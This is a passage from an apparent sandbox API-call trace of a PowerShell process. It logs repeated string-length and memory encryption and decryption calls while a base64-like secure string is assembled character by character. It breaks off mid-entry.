(param_1="醠僒썦럍鳔퓸﵎镁旅ڜ嬝゘ᄔ譬瀍㟌") returned 0x10 [0256.564] SysStringLen (param_1="醠僒썦럍鳔퓸﵎镁旅ڜ嬝゘ᄔ譬瀍㟌") returned 0x10 [0256.564] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.564] SysStringLen (param_1="Fhbhhpt3MXyPqfA塺") returned 0x10 [0256.564] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.564] SysStringLen (param_1="醠僒썦럍鳔퓸﵎镁㬰弻闃⥖앨鹮洮") returned 0x10 [0256.564] SysStringLen (param_1="醠僒썦럍鳔퓸﵎镁㬰弻闃⥖앨鹮洮") returned 0x10 [0256.564] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.564] SysStringLen (param_1="Fhbhhpt3MXyPqfA9") returned 0x10 [0256.564] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.565] SysStringLen (param_1="醠僒썦럍鳔퓸﵎镁ົ춦攃쁒ﶯ겎틵") returned 0x10 [0256.565] SysStringLen (param_1="醠僒썦럍鳔퓸﵎镁ົ춦攃쁒ﶯ겎틵") returned 0x10 [0256.565] SysStringLen (param_1="醠僒썦럍鳔퓸﵎镁ົ춦攃쁒ﶯ겎틵") returned 0x10 [0256.566] SysStringLen (param_1="醠僒썦럍鳔퓸﵎镁ົ춦攃쁒ﶯ겎틵") returned 0x18 [0256.566] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.566] SysStringLen (param_1="Fhbhhpt3MXyPqfA9Oቪ窜癀᫱ꆆ⟖") returned 0x18 [0256.566] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.566] SysStringLen (param_1="醠僒썦럍鳔퓸﵎镁ົ춦攃쁒ﶯ겎틵Ὢ瑌厖ꐵ䕩") returned 0x18 [0256.566] SysStringLen (param_1="醠僒썦럍鳔퓸﵎镁ົ춦攃쁒ﶯ겎틵Ὢ瑌厖ꐵ䕩") returned 0x18 [0256.566] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.566] SysStringLen (param_1="Fhbhhpt3MXyPqfA9ORቪ窜癀᫱ꆆ⟖") returned 0x18 [0256.566] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.567] SysStringLen (param_1="醠僒썦럍鳔퓸﵎镁ົ춦攃쁒ﶯ겎틵꾧練䛖최檱遘﯀\⋚) returned 0x18 [0256.567] SysStringLen (param_1="醠僒썦럍鳔퓸﵎镁ົ춦攃쁒ﶯ겎틵꾧練䛖최檱遘﯀\⋚) returned 0x18 [0256.567] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.567] SysStringLen (param_1="Fhbhhpt3MXyPqfA9ORu窜癀᫱ꆆ⟖") returned 0x18 [0256.567] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.567] SysStringLen (param_1="醠僒썦럍鳔퓸﵎镁ົ춦攃쁒ﶯ겎틵篯픎粝睳쳜ጔ") returned 0x18 [0256.567] SysStringLen (param_1="醠僒썦럍鳔퓸﵎镁ົ춦攃쁒ﶯ겎틵篯픎粝睳쳜ጔ") returned 0x18 [0256.567] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.567] SysStringLen (param_1="Fhbhhpt3MXyPqfA9ORuW癀᫱ꆆ⟖") returned 0x18 [0256.567] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.568] SysStringLen (param_1="醠僒썦럍鳔퓸﵎镁ົ춦攃쁒ﶯ겎틵됓盕⾱度⧋㉉轵Ϻ") returned 0x18 [0256.568] SysStringLen (param_1="醠僒썦럍鳔퓸﵎镁ົ춦攃쁒ﶯ겎틵됓盕⾱度⧋㉉轵Ϻ") returned 0x18 [0256.568] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.568] SysStringLen (param_1="Fhbhhpt3MXyPqfA9ORuWR᫱ꆆ⟖") returned 0x18 [0256.568] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.568] SysStringLen (param_1="醠僒썦럍鳔퓸﵎镁ົ춦攃쁒ﶯ겎틵骵朄⡏ﻭꎄ勵") returned 0x18 [0256.568] SysStringLen (param_1="醠僒썦럍鳔퓸﵎镁ົ춦攃쁒ﶯ겎틵骵朄⡏ﻭꎄ勵") returned 0x18 [0256.568] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.568] SysStringLen (param_1="Fhbhhpt3MXyPqfA9ORuWRPꆆ⟖") returned 0x18 [0256.568] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.568] SysStringLen (param_1="醠僒썦럍鳔퓸﵎镁ົ춦攃쁒ﶯ겎틵裳抦⥭ᄛ댇彚禌첚") returned 0x18 [0256.569] SysStringLen (param_1="醠僒썦럍鳔퓸﵎镁ົ춦攃쁒ﶯ겎틵裳抦⥭ᄛ댇彚禌첚") returned 0x18 [0256.569] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.569] SysStringLen (param_1="Fhbhhpt3MXyPqfA9ORuWRPE⟖") returned 0x18 [0256.569] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.569] SysStringLen (param_1="醠僒썦럍鳔퓸﵎镁ົ춦攃쁒ﶯ겎틵澬栲ꍐ㸣乇陵붶") returned 0x18 [0256.569] SysStringLen (param_1="醠僒썦럍鳔퓸﵎镁ົ춦攃쁒ﶯ겎틵澬栲ꍐ㸣乇陵붶") returned 0x18 [0256.569] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.569] SysStringLen (param_1="Fhbhhpt3MXyPqfA9ORuWRPE8") returned 0x18 [0256.569] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.569] SysStringLen (param_1="醠僒썦럍鳔퓸﵎镁ົ춦攃쁒ﶯ겎틵솦텕ᱹﾻ䜬㌎儹瞻") returned 0x18 [0256.570] SysStringLen (param_1="醠僒썦럍鳔퓸﵎镁ົ춦攃쁒ﶯ겎틵솦텕ᱹﾻ䜬㌎儹瞻") returned 0x18 [0256.570] SysStringLen (param_1="醠僒썦럍鳔퓸﵎镁ົ춦攃쁒ﶯ겎틵솦텕ᱹﾻ䜬㌎儹瞻") returned 0x18 [0256.570] SysStringLen (param_1="醠僒썦럍鳔퓸﵎镁ົ춦攃쁒ﶯ겎틵솦텕ᱹﾻ䜬㌎儹瞻") returned 0x20 [0256.570] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.571] SysStringLen (param_1="Fhbhhpt3MXyPqfA9ORuWRPE8V欐䕵쳃蕱≊몀") returned 0x20 [0256.571] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.571] SysStringLen (param_1="醠僒썦럍鳔퓸﵎镁ົ춦攃쁒ﶯ겎틵솦텕ᱹﾻ䜬㌎儹瞻ꜰ쁳䣠泯玡ጻ") returned 0x20 [0256.571] SysStringLen (param_1="醠僒썦럍鳔퓸﵎镁ົ춦攃쁒ﶯ겎틵솦텕ᱹﾻ䜬㌎儹瞻ꜰ쁳䣠泯玡ጻ") returned 0x20 [0256.571] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.571] SysStringLen (param_1="Fhbhhpt3MXyPqfA9ORuWRPE8VP欐䕵쳃蕱≊몀") returned 0x20 [0256.571] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.571] SysStringLen (param_1="醠僒썦럍鳔퓸﵎镁ົ춦攃쁒ﶯ겎틵솦텕ᱹﾻ䜬㌎儹瞻슯쮘謄鳘\∑) returned 0x20 [0256.571] SysStringLen (param_1="醠僒썦럍鳔퓸﵎镁ົ춦攃쁒ﶯ겎틵솦텕ᱹﾻ䜬㌎儹瞻슯쮘謄鳘\∑) returned 0x20 [0256.571] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.572] SysStringLen (param_1="Fhbhhpt3MXyPqfA9ORuWRPE8VPa䕵쳃蕱≊몀") returned 0x20 [0256.572] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.572] SysStringLen (param_1="醠僒썦럍鳔퓸﵎镁ົ춦攃쁒ﶯ겎틵솦텕ᱹﾻ䜬㌎儹瞻ᯱ흏졵鰶㝥笝") returned 0x20 [0256.572] SysStringLen (param_1="醠僒썦럍鳔퓸﵎镁ົ춦攃쁒ﶯ겎틵솦텕ᱹﾻ䜬㌎儹瞻ᯱ흏졵鰶㝥笝") returned 0x20 [0256.572] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.572] SysStringLen (param_1="Fhbhhpt3MXyPqfA9ORuWRPE8VPac쳃蕱≊몀") returned 0x20 [0256.572] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.572] SysStringLen (param_1="醠僒썦럍鳔퓸﵎镁ົ춦攃쁒ﶯ겎틵솦텕ᱹﾻ䜬㌎儹瞻ꔻ溵撸嵊夳\쇍⋯) returned 0x20 [0256.572] SysStringLen (param_1="醠僒썦럍鳔퓸﵎镁ົ춦攃쁒ﶯ겎틵솦텕ᱹﾻ䜬㌎儹瞻ꔻ溵撸嵊夳\쇍⋯) returned 0x20 [0256.572] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.573] SysStringLen (param_1="Fhbhhpt3MXyPqfA9ORuWRPE8VPacj蕱≊몀") returned 0x20 [0256.573] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.573] SysStringLen (param_1="醠僒썦럍鳔퓸﵎镁ົ춦攃쁒ﶯ겎틵솦텕ᱹﾻ䜬㌎儹瞻傯኱桾諙깊\㻲⊛) returned 0x20 [0256.573] SysStringLen (param_1="醠僒썦럍鳔퓸﵎镁ົ춦攃쁒ﶯ겎틵솦텕ᱹﾻ䜬㌎儹瞻傯኱桾諙깊\㻲⊛) returned 0x20 [0256.573] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.573] SysStringLen (param_1="Fhbhhpt3MXyPqfA9ORuWRPE8VPacjv≊몀") returned 0x20 [0256.573] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.573] SysStringLen (param_1="醠僒썦럍鳔퓸﵎镁ົ춦攃쁒ﶯ겎틵솦텕ᱹﾻ䜬㌎儹瞻爙컇걎绥ូ҃詬柄") returned 0x20 [0256.573] SysStringLen (param_1="醠僒썦럍鳔퓸﵎镁ົ춦攃쁒ﶯ겎틵솦텕ᱹﾻ䜬㌎儹瞻爙컇걎绥ូ҃詬柄") returned 0x20 [0256.573] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.574] SysStringLen (param_1="Fhbhhpt3MXyPqfA9ORuWRPE8VPacjv/몀") returned 0x20 [0256.574] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.574] SysStringLen (param_1="醠僒썦럍鳔퓸﵎镁ົ춦攃쁒ﶯ겎틵솦텕ᱹﾻ䜬㌎儹瞻ꮦ啤ɶ귯꽒鴞埄캪") returned 0x20 [0256.574] SysStringLen (param_1="醠僒썦럍鳔퓸﵎镁ົ춦攃쁒ﶯ겎틵솦텕ᱹﾻ䜬㌎儹瞻ꮦ啤ɶ귯꽒鴞埄캪") returned 0x20 [0256.574] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.574] SysStringLen (param_1="Fhbhhpt3MXyPqfA9ORuWRPE8VPacjv/C") returned 0x20 [0256.574] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.574] SysStringLen (param_1="醠僒썦럍鳔퓸﵎镁ົ춦攃쁒ﶯ겎틵솦텕ᱹﾻ䜬㌎儹瞻赏踾﾿欇廿\샞⊇) returned 0x20 [0256.575] SysStringLen (param_1="醠僒썦럍鳔퓸﵎镁ົ춦攃쁒ﶯ겎틵솦텕ᱹﾻ䜬㌎儹瞻赏踾﾿欇廿\샞⊇) returned 0x20 [0256.575] SysStringLen (param_1="醠僒썦럍鳔퓸﵎镁ົ춦攃쁒ﶯ겎틵솦텕ᱹﾻ䜬㌎儹瞻赏踾﾿欇廿\샞⊇) returned 0x20 [0256.575] SysStringLen (param_1="醠僒썦럍鳔퓸﵎镁ົ춦攃쁒ﶯ겎틵솦텕ᱹﾻ䜬㌎儹瞻赏踾﾿欇廿\샞⊇) returned 0x28 [0256.575] SystemFunction041 (in: Memory=0x3afb1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afb1c) returned 0x0 [0256.575] SysStringLen (param_1="Fhbhhpt3MXyPqfA9ORuWRPE8VPacjv/CD뚫裖퇉픐娵궺䫻") returned 0x28 [0256.575] SystemFunction040 (in: Memory=0x3afb1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afb1c) returned 0x0 [0256.576] SysStringLen (param_1="醠僒썦럍鳔퓸﵎镁ົ춦攃쁒ﶯ겎틵솦텕ᱹﾻ䜬㌎儹瞻赏踾﾿欇廿\샞\ۛ✵䠩階⬡ܾ颕") returned 0x28 [0256.576] SysStringLen (param_1="醠僒썦럍鳔퓸﵎镁ົ춦攃쁒ﶯ겎틵솦텕ᱹﾻ䜬㌎儹瞻赏踾﾿欇廿\샞\ۛ✵䠩階⬡ܾ颕") returned 0x28 [0256.576] SystemFunction041 (in: Memory=0x3afb1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afb1c) returned 0x0 [0256.576] SysStringLen (param_1="Fhbhhpt3MXyPqfA9ORuWRPE8VPacjv/CD7裖퇉픐娵궺䫻") returned 0x28 [0256.576] SystemFunction040 (in: Memory=0x3afb1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afb1c) returned 0x0 [0256.576] SysStringLen (param_1="醠僒썦럍鳔퓸﵎镁ົ춦攃쁒ﶯ겎틵솦텕ᱹﾻ䜬㌎儹瞻赏踾﾿欇廿\샞₇ힹ絉㯆淶ುޑ鹅⋌) returned 0x28 [0256.576] SysStringLen (param_1="醠僒썦럍鳔퓸﵎镁ົ춦攃쁒ﶯ겎틵솦텕ᱹﾻ䜬㌎儹瞻赏踾﾿欇廿\샞₇ힹ絉㯆淶ುޑ鹅⋌) returned 0x28 [0256.576] SystemFunction041 (in: Memory=0x3afb1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afb1c) returned 0x0 [0256.576] SysStringLen (param_1="Fhbhhpt3MXyPqfA9ORuWRPE8VPacjv/CD73퇉픐娵궺䫻") returned 0x28 [0256.576] SystemFunction040 (in: Memory=0x3afb1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afb1c) returned 0x0 [0256.577] SysStringLen (param_1="醠僒썦럍鳔퓸﵎镁ົ춦攃쁒ﶯ겎틵솦텕ᱹﾻ䜬㌎儹瞻赏踾﾿欇廿\샞蒇쬷답㔹㪤鑪⭢岮⋫) returned 0x28 [0256.577] SysStringLen (param_1="醠僒썦럍鳔퓸﵎镁ົ춦攃쁒ﶯ겎틵솦텕ᱹﾻ䜬㌎儹瞻赏踾﾿欇廿\샞蒇쬷답㔹㪤鑪⭢岮⋫) returned 0x28 [0256.577] SystemFunction041 (in: Memory=0x3afb1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afb1c) returned 0x0 [0256.577] SysStringLen (param_1="Fhbhhpt3MXyPqfA9ORuWRPE8VPacjv/CD73P픐娵궺䫻") returned 0x28 [0256.577] SystemFunction040 (in: Memory=0x3afb1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afb1c) returned 0x0 [0256.577] SysStringLen (param_1="醠僒썦럍鳔퓸﵎镁ົ춦攃쁒ﶯ겎틵솦텕ᱹﾻ䜬㌎儹瞻赏踾﾿欇廿\샞\篘֠똩濐跐柧") returned 0x28 [0256.577] SysStringLen (param_1="醠僒썦럍鳔퓸﵎镁ົ춦攃쁒ﶯ겎틵솦텕ᱹﾻ䜬㌎儹瞻赏踾﾿欇廿\샞\篘֠똩濐跐柧") returned 0x28 [0256.577] SystemFunction041 (in: Memory=0x3afb1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afb1c) returned 0x0 [0256.577] SysStringLen (param_1="Fhbhhpt3MXyPqfA9ORuWRPE8VPacjv/CD73PR娵궺䫻") returned 0x28 [0256.577] SystemFunction040 (in: Memory=0x3afb1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afb1c) returned 0x0 [0256.578] SysStringLen (param_1="醠僒썦럍鳔퓸﵎镁ົ춦攃쁒ﶯ겎틵솦텕ᱹﾻ䜬㌎儹瞻赏踾﾿欇廿\샞袇꙱媶鈆搣ಪ裳⋗) returned 0x28 [0256.578] SysStringLen (param_1="醠僒썦럍鳔퓸﵎镁ົ춦攃쁒ﶯ겎틵솦텕ᱹﾻ䜬㌎儹瞻赏踾﾿欇廿\샞袇꙱媶鈆搣ಪ裳⋗) returned 0x28 [0256.578] SystemFunction041 (in: Memory=0x3afb1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afb1c) returned 0x0 [0256.578] SysStringLen (param_1="Fhbhhpt3MXyPqfA9ORuWRPE8VPacjv/CD73PRe궺䫻") returned 0x28 [0256.578] SystemFunction040 (in: Memory=0x3afb1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afb1c) returned 0x0 [0256.579] SysStringLen (param_1="醠僒썦럍鳔퓸﵎镁ົ춦攃쁒ﶯ겎틵솦텕ᱹﾻ䜬㌎儹瞻赏踾﾿欇廿\샞軪띑車┠曼≤) returned 0x28 [0256.579] SysStringLen (param_1="醠僒썦럍鳔퓸﵎镁ົ춦攃쁒ﶯ겎틵솦텕ᱹﾻ䜬㌎儹瞻赏踾﾿欇廿\샞軪띑車┠曼≤) returned 0x28 [0256.579] SystemFunction041 (in: Memory=0x3afb1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afb1c) returned 0x0 [0256.579] SysStringLen (param_1="Fhbhhpt3MXyPqfA9ORuWRPE8VPacjv/CD73PRe7䫻") returned 0x28 [0256.579] SystemFunction040 (in: Memory=0x3afb1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afb1c) returned 0x0 [0256.579] SysStringLen (param_1="醠僒썦럍鳔퓸﵎镁ົ춦攃쁒ﶯ겎틵솦텕ᱹﾻ䜬㌎儹瞻赏踾﾿欇廿\샞뢇ᢘ쑒ᴕ꯻ꙕﲸ⊆) returned 0x28 [0256.579] SysStringLen (param_1="醠僒썦럍鳔퓸﵎镁ົ춦攃쁒ﶯ겎틵솦텕ᱹﾻ䜬㌎儹瞻赏踾﾿欇廿\샞뢇ᢘ쑒ᴕ꯻ꙕﲸ⊆) returned 0x28 [0256.579] SystemFunction041 (in: Memory=0x3afb1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afb1c) returned 0x0 [0256.579] SysStringLen (param_1="Fhbhhpt3MXyPqfA9ORuWRPE8VPacjv/CD73PRe7j") returned 0x28 [0256.580] SystemFunction040 (in: Memory=0x3afb1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afb1c) returned 0x0 [0256.580] SysStringLen (param_1="醠僒썦럍鳔퓸﵎镁ົ춦攃쁒ﶯ겎틵솦텕ᱹﾻ䜬㌎儹瞻赏踾﾿欇廿\샞떇妖﹃ヲꩾꢿ∳) returned 0x28 [0256.580] SysStringLen (param_1="醠僒썦럍鳔퓸﵎镁ົ춦攃쁒ﶯ겎틵솦텕ᱹﾻ䜬㌎儹瞻赏踾﾿欇廿\샞떇妖﹃ヲꩾꢿ∳) returned 0x28 [0256.580] SysStringLen (param_1="醠僒썦럍鳔퓸﵎镁ົ춦攃쁒ﶯ겎틵솦텕ᱹﾻ䜬㌎儹瞻赏踾﾿欇廿\샞떇妖﹃ヲꩾꢿ∳) returned 0x28 [0256.581] SysStringLen (param_1="醠僒썦럍鳔퓸﵎镁ົ춦攃쁒ﶯ겎틵솦텕ᱹﾻ䜬㌎儹瞻赏踾﾿欇廿\샞떇妖﹃ヲꩾꢿ∳) returned 0x30 [0256.581] SystemFunction041 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0256.581] SysStringLen (param_1="Fhbhhpt3MXyPqfA9ORuWRPE8VPacjv/CD73PRe7jp⯌㒏䠰鏟좘쳙ﺓ") returned 0x30 [0256.581] SystemFunction040 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0256.581] SysStringLen (param_1="醠僒썦럍鳔퓸﵎镁ົ춦攃쁒ﶯ겎틵솦텕ᱹﾻ䜬㌎儹瞻赏踾﾿欇廿\샞떇妖﹃ヲꩾꢿ昳స얩擢腊ꕠ床ꆃ⊍) returned 0x30 [0256.581] SysStringLen (param_1="醠僒썦럍鳔퓸﵎镁ົ춦攃쁒ﶯ겎틵솦텕ᱹﾻ䜬㌎儹瞻赏踾﾿欇廿\샞떇妖﹃ヲꩾꢿ昳స얩擢腊ꕠ床ꆃ⊍) returned 0x30 [0256.581] SystemFunction041 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0256.581] SysStringLen (param_1="Fhbhhpt3MXyPqfA9ORuWRPE8VPacjv/CD73PRe7jp+㒏䠰鏟좘쳙ﺓ") returned 0x30 [0256.581] SystemFunction040 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0256.582] SysStringLen (param_1="醠僒썦럍鳔퓸﵎镁ົ춦攃쁒ﶯ겎틵솦텕ᱹﾻ䜬㌎儹瞻赏踾﾿欇廿\샞떇妖﹃ヲꩾꢿ⸳ᩗ装霯퀑謂켆\샞") returned 0x30 [0256.582] SysStringLen (param_1="醠僒썦럍鳔퓸﵎镁ົ춦攃쁒ﶯ겎틵솦텕ᱹﾻ䜬㌎儹瞻赏踾﾿欇廿\샞떇妖﹃ヲꩾꢿ⸳ᩗ装霯퀑謂켆\샞") returned 0x30 [0256.582] SystemFunction041 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0256.582] SysStringLen (param_1="Fhbhhpt3MXyPqfA9ORuWRPE8VPacjv/CD73PRe7jp+w䠰鏟좘쳙ﺓ") returned 0x30 [0256.582] SystemFunction040 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0256.582] SysStringLen (param_1="醠僒썦럍鳔퓸﵎镁ົ춦攃쁒ﶯ겎틵솦텕ᱹﾻ䜬㌎儹瞻赏踾﾿欇廿\샞떇妖﹃ヲꩾꢿ퐳匀ी㮗꺩닁頤⋇) returned 0x30 [0256.582] SysStringLen (param_1="醠僒썦럍鳔퓸﵎镁ົ춦攃쁒ﶯ겎틵솦텕ᱹﾻ䜬㌎儹瞻赏踾﾿欇廿\샞떇妖﹃ヲꩾꢿ퐳匀ी㮗꺩닁頤⋇) returned 0x30 [0256.582] SystemFunction041 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0256.582] SysStringLen (param_1="Fhbhhpt3MXyPqfA9ORuWRPE8VPacjv/CD73PRe7jp+w=鏟좘쳙ﺓ") returned 0x30 [0256.582] SystemFunction040 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0256.583] EtwEventActivityIdControl () returned 0x0 [0256.583] EtwEventActivityIdControl () returned 0x0 [0256.583] EtwEventActivityIdControl () returned 0x0 [0256.583] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0256.584] EtwEventActivityIdControl () returned 0x0 [0256.584] EtwEventActivityIdControl () returned 0x0 [0256.584] EtwEventActivityIdControl () returned 0x0 [0256.585] SysStringLen (param_1="") returned 0x8 [0256.585] SysStringLen (param_1="N") returned 0x8 [0256.585] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.585] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0256.585] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0256.585] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.585] SysStringLen (param_1="ND") returned 0x8 [0256.585] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.586] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0256.586] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0256.586] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.586] SysStringLen (param_1="NDZ") returned 0x8 [0256.586] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.586] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0256.586] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0256.586] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.586] SysStringLen (param_1="NDZl") returned 0x8 [0256.586] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.587] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0256.587] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0256.587] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.587] SysStringLen (param_1="NDZlO") returned 0x8 [0256.587] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.587] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0256.587] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0256.587] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.587] SysStringLen (param_1="NDZlOD") returned 0x8 [0256.587] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.588] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0256.588] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0256.588] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.588] SysStringLen (param_1="NDZlODR") returned 0x8 [0256.588] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, 